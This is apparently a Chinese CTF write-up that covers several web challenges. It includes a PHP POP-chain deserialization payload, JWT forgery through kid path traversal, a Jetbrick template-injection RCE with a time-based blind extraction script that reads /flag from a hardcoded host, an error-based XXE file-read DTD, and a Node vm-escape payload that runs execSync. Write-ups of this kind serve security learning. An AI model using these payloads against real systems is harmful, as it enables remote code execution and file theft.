这学期比赛好多线上比赛撞了,都是快结束的时候做了一题,所以就放一起了。
R23
<?php
//show_source(__FILE__);
error_reporting(0);
class a{
public function __get($a){
var_dump($this->b);
$this->b->love();
}
}
class b{
public function __destruct(){
var_dump($this->c);
$tmp = $this->c->name;
}
public function __wakeup(){
echo 123;
$this->c = "no!";
$this->b = $this->a;
}
}
class xk{
public function love(){
system("calc");
// system($_GET['a']);
}
}
//if(preg_match('/R:2|R:3/',$_GET['pop'])){
// die("no");
//}
//$payload = new b();
//$payload->e = "123";
//$payload->d = "12";
//$payload->c = "234";
//$payload->b = & $payload->c;
//$payload->a = new a();
//$payload->a->b = new xk();
//$ser = serialize($payload);
//echo $ser;
$ser = 'O:1:"b":5:{s:1:"e";s:3:"123";s:1:"d";s:2:"12";s:1:"c";s:3:"234";s:1:"b";R:4;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}';
if(preg_match('/R:2|R:3/',$ser)){
die("no");
}
unserialize($ser);
////unserialize($_GET['pop']);
菜狗工具1
直接复制payload
d3pythonhttp
根据源码知道是要成为admin,然后访问backend进行pickle反序列化
身份验证是通过jwt,但是我们注意到verify_signature为false,也就是不验证签名,我们直接改isadmin为true却没通过,原因是verify_token函数先验证了一次
但是这个函数用的key是通过读/app/kid得到的,kid是我们可以控制的
我们让kid为../,读到的key就是空字符串,相当于知道key,然后就可以任意构造token了。
但是为了进行pickle反序列化,frontend要获取到BackdoorPasswordOnlyForAdmin,backend不能获取到
看了wp说是flask和web对chunked的解析不同可以绕过
web是要求chunked全是小写,wp说flask没有要求,本来想调试,但是没找到在哪里进行了判断。
成功反序列化了
蓝桥杯 ezjava
题目给了个md,这里就是一个模板注入的静态方法调用
然后题目过滤了一些类
jetbrick.util.ShellUtils直接提供了一个执行命令的静态方法,比赛完之后找了会就找到了
成功弹计算器,但是无回显
这里用rce时间盲注的方法获得回显
import requests
f = ''
def get_flag(url, payload): # 盲注函数
try:
str = '${jetbrick.util.ShellUtils::shell("'+payload+'")}'
data = {'str': '${jetbrick.util.ShellUtils::shell("'+payload+'")}'}
r = requests.post(url, data, timeout=1.5)
except:
return True
return False
a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
for i in range(1,50):
for j in a:
cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
url = "http://124.221.19.214:2333/"
if get_flag(url,cmd):
break
f = f+j
print(f)
宁波市赛 web-2
典型xxe
可以dns但是不能http请求
会有报错出来
这里我们通过利用本地的dtd文件把报错作为回显点
把这些dtd一个个试试,发现/usr/share/xml/fontconfig/fonts.dtd是有的
这里用了fonts.dtd文件里本身定义的expr实体
我们通过重新定义expr来让它报错,要注意的是字符串里要进行一次html编码,最里面那层要二次编码,不然会解析错误
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'a)>
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % read "<!ENTITY &#x25; error SYSTEM 'file:///%file;'>">
%read;%error;
<!ELEMENT a ('>
%local_dtd;
]>
<message></message>
<person>
<username>admin</username><password>admin</password></person>
d3 stack_overflow
源码
const express = require('express')
const vm = require("vm");
let app = express();
app.use(express.json());
app.use('/static', express.static('static'))
const pie = parseInt(Math.random() * 0xffffffff)
function waf(str) {
let pattern = /(call_interface)|\{\{.*?\}\}/g;
return str.match(pattern)
}
app.get('/', (req, res) => {
res.sendFile(__dirname + "/index.html")
})
app.post('/', (req, res) => {
let respond = {}
let stack = []
let getStack = function (address) { //返回栈中元素,栈大小为0x10000,防止溢出
if (address - pie >= 0 && address - pie < 0x10000) return stack[address - pie]
return 0
}
let getIndex = function (address) { //返回栈中指针位置
return address - pie
}
let read = function (fd, buf, count) {//把ori压入栈中,ori为数组
let ori = req.body[fd]
if (ori.length < count) {
count = ori.length
}
if (typeof ori !== "string" && !Array.isArray(ori)) return res.json({"err": "hack!"})
for (let i = 0; i < count; i++){
if (waf(ori[i])) return res.json({"err": "hack!"})
stack[getIndex(buf) + i] = ori[i]
}
}
let write = function (fd, buf, count) { //从栈里向respond写数据
if (!respond.hasOwnProperty(fd)) {
respond[fd] = []
}
for (let i = 0; i < count; i++){
respond[fd].push(getStack(buf + i))
}
}
let run = function (address) {
let continuing = 1;
while (continuing) {
switch (getStack(address)) {
case "read"://栈弹出三次,第一个为要读的fd,即req.body[fd],第二个为要读入栈的位置,第三个为读入数据的大小
let r_fd = stack.pop()
let read_addr = stack.pop()
if (read_addr.startsWith("{{") && read_addr.endsWith("}}")) { //{{stack -2}}这种格式为栈顶往下移两格
read_addr = pie + eval(read_addr.slice(2,-2).replace("stack", (stack.length - 1).toString()))
}
read(r_fd, parseInt(read_addr), parseInt(stack.pop()))
break;
case "write"://也是弹出三次,写的fd,写的地址(从栈的这个地址开始读数据写respond),写的大小
let w_fd = stack.pop()
let write_addr = stack.pop()
if (write_addr.startsWith("{{") && write_addr.endsWith("}}")) {
write_addr = pie + eval(write_addr.slice(2,-2).replace("stack", (stack.length - 1).toString()))
}
write(w_fd, parseInt(write_addr), parseInt(stack.pop()))
break;
case "exit"://离开
continuing = 0;
break;
case "call_interface"://参数个数,命令,从栈中取出参数(’arg1,‘arg2’)
let numOfArgs = stack.pop()
let cmd = stack.pop()
let args = []
for (let i = 0; i < numOfArgs; i++) {
args.push(stack.pop())
}
cmd += "('" + args.join("','") + "')"
let result = vm.runInNewContext(cmd)
stack.push(result.toString())
break;
case "push"://弹两次,要压入元素的个数和地址
let numOfElem = stack.pop()
let elemAddr = parseInt(stack.pop())
for (let i = 0; i < numOfElem; i++) {
stack.push(getStack(elemAddr + i))
}
break;
default:
stack.push(getStack(address))
break;
}
address += 1
}
}
let code = `0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
28
[[ 0 ]]
stdin
read
Started Convertion...
Your input is:
2
[[short - 3]]
stdout
write
5
[[ 0 ]]
stdout
write
...
1
[[short - 2]]
stdout
write
[[ 0 ]]
5
push
(function (...a){ return a.map(char=>char.charCodeAt(0)).join(' ');})
5
call_interface
Ascii is:
1
[[short - 2]]
result
write
1
{{ stack - 2 }}
result
write
Ascii is:
1
[[short - 2]]
stdout
write
1
{{ stack - 3 }}
stdout
write
ok
1
[[short - 2]]
status
write
exit`
code = code.split('\n');
for (let i = 0; i < code.length; i++){
stack.push(code[i])
if (stack[i].startsWith("[[") && stack[i].endsWith("]]")) {
stack[i] = (pie + eval(stack[i].slice(2,-2).replace("short", i.toString()))).toString()
}
}
run(pie + 0)
return res.json(respond)
})
app.listen(3090, () => {
console.log("listen on 3090");
})
我们能够控制的只有stdin,题目限定的我们的输入只能是string或array
唯一能够运行代码的地方只有这里
有一个vm逃逸,调用了toString,原本的逃逸语句如下
(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()
我们把cmd进行字符串的拼接来插入我们的恶意代码,原本的cmd如下
拼接成功是这样的
成功rce
{"stdin":["a","b","c","d","e');((...b)=>{const a={};a.toString=function(){const cc=arguments.callee.caller;const p=(cc.constructor('return process'))();return p.mainModule.require('child_process').execSync('whoami').toString()};return a;})('"]}